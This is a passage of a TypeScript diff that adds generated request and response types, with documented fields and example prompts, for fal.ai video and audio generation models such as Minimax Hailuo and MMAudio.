an additional billing unit. + * @default 96 + */ + num_frames?: number | null + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @default 16 + * @type number | undefined + */ + num_inference_steps?: InputFalAiMagiDistilledImageToVideoNumInferenceStepsEnumKey + /** + * @description The text prompt to guide video generation. + * @example Close-up shot: the old sea captain stares intently, pipe in mouth, wisps of smoke curling around his weathered face. The camera begins to pull back out over the ocean. Finally, the camera sinks below the waves deeply, fading to dark blue and finally to black. + * @type string + */ + prompt: string +} + +export type File2133E02D = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiMagiDistilledImageToVideo = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example {"url":"https://v3.fal.media/files/zebra/3XmM6yIGZEWxwbbDyTkhw_391bee80-b756-425d-b74c-f9083c7eec4f.mp4"} + * @type object + */ + video: File2133E02D +} + +export const inputFalAiMinimaxHailuo02FastImageToVideoDurationEnum = { + '6': '6', + '10': '10', +} as const + +export type InputFalAiMinimaxHailuo02FastImageToVideoDurationEnumKey = + (typeof inputFalAiMinimaxHailuo02FastImageToVideoDurationEnum)[keyof typeof inputFalAiMinimaxHailuo02FastImageToVideoDurationEnum] + +export type InputFalAiMinimaxHailuo02FastImageToVideo = { + /** + * @description Whether to use the model's prompt optimizer + * @default true + * @type boolean | undefined + */ + prompt_optimizer?: boolean + /** + * @example https://v3.fal.media/files/tiger/U9HN_tm5-3Ls52SbD6CrW_image.webp + * @type string + */ + image_url: string + /** + * @maxLength 2000 + * @example Extremely realistic movement An old samurai is breaking a stone in half + * @type string + */ + prompt: string + /** + * @description The duration of the video in seconds. 10 seconds videos are not supported for 1080p resolution. + * @default '6' + * @type string | undefined + */ + duration?: InputFalAiMinimaxHailuo02FastImageToVideoDurationEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File1D426E1A = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxHailuo02FastImageToVideo = { + /** + * @description The generated video + * @example {"url":"https://v3.fal.media/files/monkey/n3-YfNqnyYJPYlrJk-5rS_output.mp4"} + * @type object + */ + video: File1D426E1A +} + +export type InputFalAiMinimaxHailuo02ProImageToVideo = { + /** + * @description Whether to use the model's prompt optimizer + * @default true + * @type boolean | undefined + */ + prompt_optimizer?: boolean + /** + * @example https://storage.googleapis.com/falserverless/model_tests/minimax/1749891352437225630-389852416840474630_1749891352.png + * @type string + */ + image_url: string + /** + * @maxLength 2000 + * @example Man walked into winter cave with polar bear + * @type string + */ + prompt: string + /** + * @description Optional URL of the image to use as the last frame of the video + */ + end_image_url?: string | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File9D833741 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxHailuo02ProImageToVideo = { + /** + * @description The generated video + * @example {"url":"https://v3.fal.media/files/monkey/xF9OsLwGjjNURyAxD8RM1_output.mp4"} + * @type object + */ + video: File9D833741 +} + +export type InputFalAiMinimaxHailuo02ProTextToVideo = { + /** + * @description Whether to use the model's prompt optimizer + * @default true + * @type boolean | undefined + */ + prompt_optimizer?: boolean + /** + * @minLength 1 + * @maxLength 2000 + * @example A Galactic Smuggler is a rogue figure with a cybernetic arm and a well-worn coat that hints at many dangerous escapades across the galaxy. Their ship is filled with rare and exotic treasures from distant planets, concealed in hidden compartments, showing their expertise in illicit trade. Their belt is adorned with energy-based weapons, ready to be drawn at any moment to protect themselves or escape from tight situations. This character thrives in the shadows of space, navigating between the law and chaos with stealth and wit, always seeking the next big score while evading bounty hunters and law enforcement. The rogue's ship, rugged yet efficient, serves as both a home and a tool for their dangerous lifestyle. The treasures they collect reflect the diverse and intriguing worlds they've encountered—alien artifacts, rare minerals, and artifacts of unknown origin. Their reputation precedes them, with whispers of their dealings and the deadly encounters that often follow. A master of negotiation and deception, the Galactic Smuggler navigates the cosmos with an eye on the horizon, always one step ahead of those who pursue them. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File4A302475 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxHailuo02ProTextToVideo = { + /** + * @description The generated video + * @example {"url":"https://v3.fal.media/files/kangaroo/_qEOfY3iKHsc86kqHUUh2_output.mp4"} + * @type object + */ + video: File4A302475 +} + +export const inputFalAiMinimaxHailuo02StandardImageToVideoDurationEnum = { + '6': '6', + '10': '10', +} as const + +export type InputFalAiMinimaxHailuo02StandardImageToVideoDurationEnumKey = + (typeof inputFalAiMinimaxHailuo02StandardImageToVideoDurationEnum)[keyof typeof inputFalAiMinimaxHailuo02StandardImageToVideoDurationEnum] + +export const inputFalAiMinimaxHailuo02StandardImageToVideoResolutionEnum = { + '512P': '512P', + '768P': '768P', +} as const + +export type InputFalAiMinimaxHailuo02StandardImageToVideoResolutionEnumKey = + (typeof inputFalAiMinimaxHailuo02StandardImageToVideoResolutionEnum)[keyof typeof inputFalAiMinimaxHailuo02StandardImageToVideoResolutionEnum] + +export type InputFalAiMinimaxHailuo02StandardImageToVideo = { + /** + * @description Whether to use the model's prompt optimizer + * @default true + * @type boolean | undefined + */ + prompt_optimizer?: boolean + /** + * @example https://storage.googleapis.com/falserverless/model_tests/minimax/1749891352437225630-389852416840474630_1749891352.png + * @type string + */ + image_url: string + /** + * @maxLength 2000 + * @example Man walked into winter cave with polar bear + * @type string + */ + prompt: string + /** + * @description Optional URL of the image to use as the last frame of the video + */ + end_image_url?: string | null + /** + * @description The duration of the video in seconds. 10 seconds videos are not supported for 1080p resolution. + * @default '6' + * @type string | undefined + */ + duration?: InputFalAiMinimaxHailuo02StandardImageToVideoDurationEnumKey + /** + * @description The resolution of the generated video. + * @default '768P' + * @type string | undefined + */ + resolution?: InputFalAiMinimaxHailuo02StandardImageToVideoResolutionEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File6911D549 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxHailuo02StandardImageToVideo = { + /** + * @description The generated video + * @example {"url":"https://v3.fal.media/files/monkey/xF9OsLwGjjNURyAxD8RM1_output.mp4"} + * @type object + */ + video: File6911D549 +} + +export const inputFalAiMinimaxHailuo02StandardTextToVideoDurationEnum = { + '6': '6', + '10': '10', +} as const + +export type InputFalAiMinimaxHailuo02StandardTextToVideoDurationEnumKey = + (typeof inputFalAiMinimaxHailuo02StandardTextToVideoDurationEnum)[keyof typeof inputFalAiMinimaxHailuo02StandardTextToVideoDurationEnum] + +export type InputFalAiMinimaxHailuo02StandardTextToVideo = { + /** + * @description Whether to use the model's prompt optimizer + * @default true + * @type boolean | undefined + */ + prompt_optimizer?: boolean + /** + * @minLength 1 + * @maxLength 2000 + * @example A Galactic Smuggler is a rogue figure with a cybernetic arm and a well-worn coat that hints at many dangerous escapades across the galaxy. Their ship is filled with rare and exotic treasures from distant planets, concealed in hidden compartments, showing their expertise in illicit trade. Their belt is adorned with energy-based weapons, ready to be drawn at any moment to protect themselves or escape from tight situations. This character thrives in the shadows of space, navigating between the law and chaos with stealth and wit, always seeking the next big score while evading bounty hunters and law enforcement. The rogue's ship, rugged yet efficient, serves as both a home and a tool for their dangerous lifestyle. The treasures they collect reflect the diverse and intriguing worlds they've encountered—alien artifacts, rare minerals, and artifacts of unknown origin. Their reputation precedes them, with whispers of their dealings and the deadly encounters that often follow. A master of negotiation and deception, the Galactic Smuggler navigates the cosmos with an eye on the horizon, always one step ahead of those who pursue them. + * @type string + */ + prompt: string + /** + * @description The duration of the video in seconds. 10 seconds videos are not supported for 1080p resolution. + * @default '6' + * @type string | undefined + */ + duration?: InputFalAiMinimaxHailuo02StandardTextToVideoDurationEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File470C783D = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxHailuo02StandardTextToVideo = { + /** + * @description The generated video + * @example {"url":"https://v3.fal.media/files/kangaroo/_qEOfY3iKHsc86kqHUUh2_output.mp4"} + * @type object + */ + video: File470C783D +} + +export type InputFalAiMinimaxHailuo23FastProImageToVideo = { + /** + * @description URL of the image to use as the first frame + * @example https://storage.googleapis.com/falserverless/example_inputs/hailuo23/fast_pro_i2v_in.jpg + * @type string + */ + image_url: string + /** + * @description Whether to use the model's prompt optimizer + * @default true + * @type boolean | undefined + */ + prompt_optimizer?: boolean + /** + * @description Text prompt for video generation + * @minLength 1 + * @maxLength 2000 + * @example Subject-tracking orbit: camera glides parallel to astronaut, Earth rotates beneath, sun crest reveals lens flare, astronaut tethers and spins slowly, 8K 60 fps slow-motion, ends with spacecraft blackout on sun disk + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File0126114D = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxHailuo23FastProImageToVideo = { + /** + * @description The generated video + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/hailuo23/fast_pro_i2v_out.mp4"} + * @type object + */ + video: File0126114D +} + +export const inputFalAiMinimaxHailuo23FastStandardImageToVideoDurationEnum = { + '6': '6', + '10': '10', +} as const + +export type InputFalAiMinimaxHailuo23FastStandardImageToVideoDurationEnumKey = + (typeof inputFalAiMinimaxHailuo23FastStandardImageToVideoDurationEnum)[keyof typeof inputFalAiMinimaxHailuo23FastStandardImageToVideoDurationEnum] + +export type InputFalAiMinimaxHailuo23FastStandardImageToVideo = { + /** + * @description URL of the image to use as the first frame + * @example https://storage.googleapis.com/falserverless/example_inputs/hailuo23/fast_standard_i2v_in.jpg + * @type string + */ + image_url: string + /** + * @description The duration of the video in seconds. + * @default '6' + * @type string | undefined + */ + duration?: InputFalAiMinimaxHailuo23FastStandardImageToVideoDurationEnumKey + /** + * @description Whether to use the model's prompt optimizer + * @default true + * @type boolean | undefined + */ + prompt_optimizer?: boolean + /** + * @description Text prompt for video generation + * @minLength 1 + * @maxLength 2000 + * @example Athlete running powerfully on beach, dynamic camera movement tracking the runner, waves and sunset in motion, Hollywood movie cinematography, professional sports filming, inspiring atmosphere + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File04F26105 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxHailuo23FastStandardImageToVideo = { + /** + * @description The generated video + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/hailuo23/fast_standard_i2v_out.mp4"} + * @type object + */ + video: File04F26105 +} + +export type InputFalAiMinimaxHailuo23ProImageToVideo = { + /** + * @description URL of the image to use as the first frame + * @example https://storage.googleapis.com/falserverless/example_inputs/hailuo23/pro_i2v_in.jpg + * @type string + */ + image_url: string + /** + * @description Whether to use the model's prompt optimizer + * @default true + * @type boolean | undefined + */ + prompt_optimizer?: boolean + /** + * @description Text prompt for video generation + * @minLength 1 + * @maxLength 2000 + * @example The camera follows the mountain biker as they navigate a technical forest trail at high speed, wheels bouncing over roots and rocks. The rider approaches a jump, launching into the air with the bike, both rider and machine perfectly synchronized. They land smoothly and continue through tight turns, splashing through a stream crossing. Mud and water spray as the bike powers through challenging terrain. The atmosphere is wild and adventurous. Audio: Tires gripping dirt, gears shifting, heavy breathing, branches whipping past, and water splashing. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileA3A228Bc = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxHailuo23ProImageToVideo = { + /** + * @description The generated video + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/hailuo23/pro_i2v_out.mp4"} + * @type object + */ + video: FileA3A228Bc +} + +export type InputFalAiMinimaxHailuo23ProTextToVideo = { + /** + * @description Whether to use the model's prompt optimizer + * @default true + * @type boolean | undefined + */ + prompt_optimizer?: boolean + /** + * @description Text prompt for video generation + * @minLength 1 + * @maxLength 2000 + * @example The camera follows the snowboarder as they carve down the mountain through deep powder, each turn sending up huge rooster tails of snow. They navigate between trees, floating through the powder with smooth, flowing movements. The rider launches off a natural jump, grabbing the board mid-air before landing softly in deep snow and continuing down. Powder sprays continuously as they link turns together. The atmosphere is exhilarating and free. Audio: Board cutting through snow, powder spraying, wind rushing, the rider's excited shouts, and the soft thuds of landing in deep snow. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileFdc96Eb2 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxHailuo23ProTextToVideo = { + /** + * @description The generated video + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/hailuo23/pro_t2v_out.mp4"} + * @type object + */ + video: FileFdc96Eb2 +} + +export const inputFalAiMinimaxHailuo23StandardImageToVideoDurationEnum = { + '6': '6', + '10': '10', +} as const + +export type InputFalAiMinimaxHailuo23StandardImageToVideoDurationEnumKey = + (typeof inputFalAiMinimaxHailuo23StandardImageToVideoDurationEnum)[keyof typeof inputFalAiMinimaxHailuo23StandardImageToVideoDurationEnum] + +export type InputFalAiMinimaxHailuo23StandardImageToVideo = { + /** + * @description URL of the image to use as the first frame + * @example https://storage.googleapis.com/falserverless/example_inputs/hailuo23/standard_i2v_in.jpg + * @type string + */ + image_url: string + /** + * @description The duration of the video in seconds. + * @default '6' + * @type string | undefined + */ + duration?: InputFalAiMinimaxHailuo23StandardImageToVideoDurationEnumKey + /** + * @description Whether to use the model's prompt optimizer + * @default true + * @type boolean | undefined + */ + prompt_optimizer?: boolean + /** + * @description Text prompt for video generation + * @minLength 1 + * @maxLength 2000 + * @example The space station slowly rotates in orbit, its solar panels tracking the sun. Earth rotates majestically in the background with weather patterns and landmasses drifting by. The station's communication arrays adjust position. A small spacecraft approaches one of the docking ports. The scene captures the silent majesty of space and human engineering. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File4Dbce6Da = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxHailuo23StandardImageToVideo = { + /** + * @description The generated video + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/hailuo23/standard_i2v_out.mp4"} + * @type object + */ + video: File4Dbce6Da +} + +export const inputFalAiMinimaxHailuo23StandardTextToVideoDurationEnum = { + '6': '6', + '10': '10', +} as const + +export type InputFalAiMinimaxHailuo23StandardTextToVideoDurationEnumKey = + (typeof inputFalAiMinimaxHailuo23StandardTextToVideoDurationEnum)[keyof typeof inputFalAiMinimaxHailuo23StandardTextToVideoDurationEnum] + +export type InputFalAiMinimaxHailuo23StandardTextToVideo = { + /** + * @description The duration of the video in seconds. + * @default '6' + * @type string | undefined + */ + duration?: InputFalAiMinimaxHailuo23StandardTextToVideoDurationEnumKey + /** + * @description Whether to use the model's prompt optimizer + * @default true + * @type boolean | undefined + */ + prompt_optimizer?: boolean + /** + * @minLength 1 + * @maxLength 2000 + * @example An intense electrical storm rages over a modern city skyline at night. Multiple lightning bolts strike simultaneously, illuminating the towering skyscrapers in brilliant white flashes. Thunder clouds roil and churn overhead while constant lightning creates a strobe effect. Rain pours in heavy sheets, visible in the glow of city lights. The camera captures the drama from across a river as lightning reflects in the water. Lightning branches across the sky in intricate patterns. Atmosphere: dramatic, powerful, electrifying urban storm. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileD5626A08 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxHailuo23StandardTextToVideo = { + /** + * @description The generated video + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/hailuo23/standard_t2v_out.mp4"} + * @type object + */ + video: FileD5626A08 +} + +export type InputFalAiMinimaxVideo01 = { + /** + * @description Whether to use the model's prompt optimizer + * @default true + * @type boolean | undefined + */ + prompt_optimizer?: boolean + /** + * @maxLength 2000 + * @example A stylish woman walks down a Tokyo street filled with warm glowing neon and animated city signage. She wears a black leather jacket, a long red dress, and black boots, and carries a black purse. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File4263Bb63 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxVideo01 = { + /** + * @description The generated video + * @example {"url":"https://fal.media/files/monkey/vNZqQV_WgC9MhoidClLyw_output.mp4"} + * @type object + */ + video: File4263Bb63 +} + +export type InputFalAiMinimaxVideo01Director = { + /** + * @description Whether to use the model's prompt optimizer + * @default true + * @type boolean | undefined + */ + prompt_optimizer?: boolean + /** + * @description Text prompt for video generation. Camera movement instructions can be added using square brackets (e.g. [Pan left] or [Zoom in]). You can use up to 3 combined movements per prompt. Supported movements: Truck left/right, Pan left/right, Push in/Pull out, Pedestal up/down, Tilt up/down, Zoom in/out, Shake, Tracking shot, Static shot. For example: [Truck left, Pan right, Zoom in]. For a more detailed guide, refer https://sixth-switch-2ac.notion.site/T2V-01-Director-Model-Tutorial-with-camera-movement-1886c20a98eb80f395b8e05291ad8645 + * @maxLength 2000 + * @example [Push in]Close up of a tense woman looks to the left, startled by a sound, in a darkened kitchen, Pots and pans hang ominously, the window in the kitchen is open and the wind softly blows the pans and creates an ominous mood. [Shake]the woman's shock turns to fear. Black-and-white film noir shot dimly lit, 1950s-style, with dramatic, high-contrast shadows. The overall atmosphere is reminiscent of Alfred Hitchcock's suspenseful storytelling, evoking a looming sense of dread with stark chiaroscuro lighting and a slight film-grain texture. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File7C8F0C90 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxVideo01Director = { + /** + * @description The generated video + * @example {"url":"https://fal.media/files/panda/4Et1qL4cbedh-OACEw7OF_output.mp4"} + * @type object + */ + video: File7C8F0C90 +} + +export type InputFalAiMinimaxVideo01DirectorImageToVideo = { + /** + * @description URL of the image to use as the first frame + * @example https://storage.googleapis.com/falserverless/model_tests/wan/dragon-warrior.jpg + * @type string + */ + image_url: string + /** + * @description Whether to use the model's prompt optimizer + * @default true + * @type boolean | undefined + */ + prompt_optimizer?: boolean + /** + * @description Text prompt for video generation. Camera movement instructions can be added using square brackets (e.g. [Pan left] or [Zoom in]). You can use up to 3 combined movements per prompt. Supported movements: Truck left/right, Pan left/right, Push in/Pull out, Pedestal up/down, Tilt up/down, Zoom in/out, Shake, Tracking shot, Static shot. For example: [Truck left, Pan right, Zoom in]. For a more detailed guide, refer https://sixth-switch-2ac.notion.site/T2V-01-Director-Model-Tutorial-with-camera-movement-1886c20a98eb80f395b8e05291ad8645 + * @maxLength 2000 + * @example [Push in, Follow]A stylish woman walks down a Tokyo street filled with warm glowing neon and animated city signage. She wears a black leather jacket, a long red dress, and black boots, and carries a black purse.[Pan left] The street opens into a small plaza where street vendors sell steaming food under colorful awnings. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileB0C5E770 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxVideo01DirectorImageToVideo = { + /** + * @description The generated video + * @example {"url":"https://storage.googleapis.com/falserverless/web-examples/minimax/i2v-01.mp4"} + * @type object + */ + video: FileB0C5E770 +} + +export type InputFalAiMinimaxVideo01Live = { + /** + * @description Whether to use the model's prompt optimizer + * @default true + * @type boolean | undefined + */ + prompt_optimizer?: boolean + /** + * @maxLength 2000 + * @example A rugged middle-aged man with wheat-colored skin and a full beard streaked with gray stands in the harsh sunlight of a desert outpost. His curly hair is windswept, and sweat drips down the bridge of his slightly crooked nose. His faded utility jacket and weathered boots are caked in dust, while his sharp, watchful eyes scan the horizon. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileC76De2Ea = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxVideo01Live = { + /** + * @description The generated video + * @example {"url":"https://fal.media/files/monkey/EbJRdZfaJbNiJBUvPta3c_output.mp4"} + * @type object + */ + video: FileC76De2Ea +} + +export type InputFalAiMinimaxVideo01LiveImageToVideo = { + /** + * @description URL of the image to use as the first frame + * @example https://storage.googleapis.com/falserverless/model_tests/wan/dragon-warrior.jpg + * @type string + */ + image_url: string + /** + * @description Whether to use the model's prompt optimizer + * @default true + * @type boolean | undefined + */ + prompt_optimizer?: boolean + /** + * @maxLength 2000 + * @example A stylish woman walks down a Tokyo street filled with warm glowing neon and animated city signage. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileDe85Edca = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxVideo01LiveImageToVideo = { + /** + * @description The generated video + * @example {"url":"https://fal.media/files/monkey/bkT4T4uLOXr0jDsIMlNd5_output.mp4"} + * @type object + */ + video: FileDe85Edca +} + +export type InputFalAiMinimaxVideo01SubjectReference = { + /** + * @description Whether to use the model's prompt optimizer + * @default true + * @type boolean | undefined + */ + prompt_optimizer?: boolean + /** + * @maxLength 2000 + * @example A stylish woman walks down a Tokyo street filled with warm glowing neon and animated city signage. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URL of the subject reference image to use for consistent subject appearance + * @example https://fal.media/files/tiger/s2xnjhLpjM6L8ISxlDCAw.png + * @type string + */ + subject_reference_image_url: string +} + +export type FileB5784A46 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxVideo01SubjectReference = { + /** + * @description The generated video + * @example {"url":"https://fal.media/files/rabbit/pONKqOnY7z6GlF6oDESvR_output.mp4"} + * @type object + */ + video: FileB5784A46 +} + +export type InputFalAiMinimaxVideo01ImageToVideo = { + /** + * @description URL of the image to use as the first frame + * @example https://storage.googleapis.com/falserverless/model_tests/wan/dragon-warrior.jpg + * @type string + */ + image_url: string + /** + * @description Whether to use the model's prompt optimizer + * @default true + * @type boolean | undefined + */ + prompt_optimizer?: boolean + /** + * @maxLength 2000 + * @example A stylish woman walks down a Tokyo street filled with warm glowing neon and animated city signage. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File4909Bb8D = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxVideo01ImageToVideo = { + /** + * @description The generated video + * @example {"url":"https://fal.media/files/monkey/vNZqQV_WgC9MhoidClLyw_output.mp4"} + * @type object + */ + video: File4909Bb8D +} + +export type InputFalAiMmaudioV2 = { + /** + * @description The number of steps to generate the audio for. + * @minimum 4 + * @maximum 50 + * @default 25 + * @type integer | undefined + */ + num_steps?: number + /** + * @description The strength of Classifier Free Guidance. + * @minimum 0 + * @maximum 20 + * @default 4.5 + * @type number | undefined + */ + cfg_strength?: number + /** + * @description The duration of the audio to generate. + * @minimum 1 + * @maximum 30 + * @default 8 + * @type number | undefined + */ + duration?: number + /** + * @description The URL of the video to generate the audio for. + * @example https://storage.googleapis.com/falserverless/model_tests/video_models/mmaudio_input.mp4 + * @type string + */ + video_url: string + /** + * @description The negative prompt to generate the audio for. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The seed for the random number generator + */ + seed?: number | null + /** + * @description Whether to mask away the clip. + * @default false + * @type boolean | undefined + */ + mask_away_clip?: boolean + /** + * @description The prompt to generate the audio for. + * @example Indian holy music + * @type string + */ + prompt: string +} + +export type File72Cf353D = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * 